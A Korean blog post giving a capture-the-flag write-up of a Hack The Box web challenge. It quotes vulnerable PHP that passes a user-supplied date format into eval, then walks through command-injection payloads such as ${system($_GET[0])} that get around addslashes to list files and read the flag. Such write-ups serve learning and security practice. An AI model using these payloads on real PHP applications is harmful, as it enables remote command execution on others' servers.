Popular Posts
Most visited articles this period
Latest Posts
Fresh thoughts and recent updates from the blog
tistory view

처음에 제공받은 URL에 접속하면 위와 같은 화면이 나옵니다. 그리고 URL은 아래와 같은 형식이 존재했습니다.
http://206.189.16.37:30549/?format=r
처음엔 format 에 r 값이 어떤 의미인지 몰랐고, 이것저것 다양한 알파벳, 숫자, 특수문자를 넣어보았을 때 패턴을 찾을 수 있었습니다. 어떤 문자는 날짜 형식이 변환되어져서 나왔고, 어떤 문자는 문자그대로 출력되었었습니다.
그러다가 문제에 파일이 따로 첨부되어있는 것을 확인하였고, 아래와 같은 코드를 확인할 수 있었습니다.
<?php
class TimeModel
{
public function __construct($format) // ?format=r
{
$this->format = addslashes($format); // \" \' \\ \0x00
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second"; // random
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
TimeModel 이라는 클래스의 소스코드입니다. 간단히 말해, URL GET parameter로 넘겨준 format 값이 $format 변수에 들어가고, 날짜 값은 random하게 generate 되어져서 $prediction 값에 들어갑니다. 그리고 마지막에 화면에 출력되기 전에 getTime() 함수로부터 eval 함수가 실행되어져 $time 변수에 특정한 값이 대입됩니다.
여기서 특정한 값이 바로 저희가 입력한 값이 될 $format 변수입니다. 만약에 $format에 r 이라고 입력했을 경우 eval 함수는 아래와 같이 변환될 것입니다.
eval('$time = date("r", strtotime("랜덤한 날짜 문자열 값"));');
그리고 위에서 말했듯이 패턴 분석할 때 알아낸 것 중에 하나가 php 의 date함수는 존재하지 않는 날짜 옵션이 들어올 경우 옵션 문자열 그대로 출력하는 특징이 존재함을 확인한 바 있습니다.
이를 이용하여 PHP의 Simple syntax 를 이용해서, 특정 명령을 수행하고 그 반환값을 출력하도록 하였습니다.
http://206.189.16.37:30549/?format=${system(ls)}
위와 같이 입력하면, 아래와 같이 현재 경로의 파일 목록이 나옵니다.

참고로 time 이 들어갈 자리에 안들어가고 최상단에 system(“ls”)의 결과가 나온 이유는 PHP의 원리 때문입니다. 아래와 같이 작성하고 출력했을 때, echo 가 없음에도 불구하고 최상단에 system(“ls”)의 결과가 나옵니다. PHP에서 system 함수는 시스템 함수를 실행하고 그 결과를 바로 출력하기 때문입니다.
<!DOCTYPE html>
<html>
<body>
<?php
$txt = "hello ${system("ls")} bye";
//echo "$txt";
?>
</body>
</html>
소스파일을 다운로드 받았으면 알겠지만, flag 의 경로는 최상단 루트 디렉토리에 위치하고 있습니다. 그렇기 때문에 cat /flag 나 ls -al 를 하기 위해서는 어쨋거나 따옴표가 필요하게 됩니다. 하지만 아래 코드에서 보면 알다시피 $format 파라미터를 addslashes 로 필터링하고 있음을 알 수 있습니다.
$this->format = addslashes($format);
그렇기 때문에 이를 우회 해야하는데, 그 방법으로는 $_GET[0] 으로 파라미터를 추가로 받는 것입니다. 참고로 $_GET[a] 라고 하여도 동작하지만, 실질적으로는 에러가 납니다. 하지만 낮은 레벨의 에러라서 실행을 중단하지는 않습니다. (Reference : https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.simple)
http://206.189.16.37:30549/?format=${system($_GET[0])}&0=ls%20-al %2f;
위 코드처럼 GET parameter 0 을 추가로 이용해서 문자열을 받게끔 한다면, 따옴표를 별도로 사용하지 않고도 명령을 수행할 수 있게 됩니다.

flag 이름이 flagVUKDt 로 되어 있는 걸 볼 수 있습니다. 이제 cat flagVUKDt 만 하면 플래그를 확인할 수 있습니다.

'Security > Wargame' 카테고리의 다른 글
| [Hackthebox] - Cap Writeup(문제풀이) (0) | 2021.07.06 |
|---|---|
| [Hackthebox] - Phonebook Writeup(문제풀이) (0) | 2021.07.05 |
| [Hackthebox] - Templated Writeup(문제풀이) (0) | 2021.06.21 |
| [Hackthebox] - Legacy Writeup(문제풀이) (0) | 2021.06.09 |
| [Hackthebox] - Grandpa Writeup(문제풀이) (0) | 2021.06.09 |
Visitor Trends
Daily blog stats and creator awards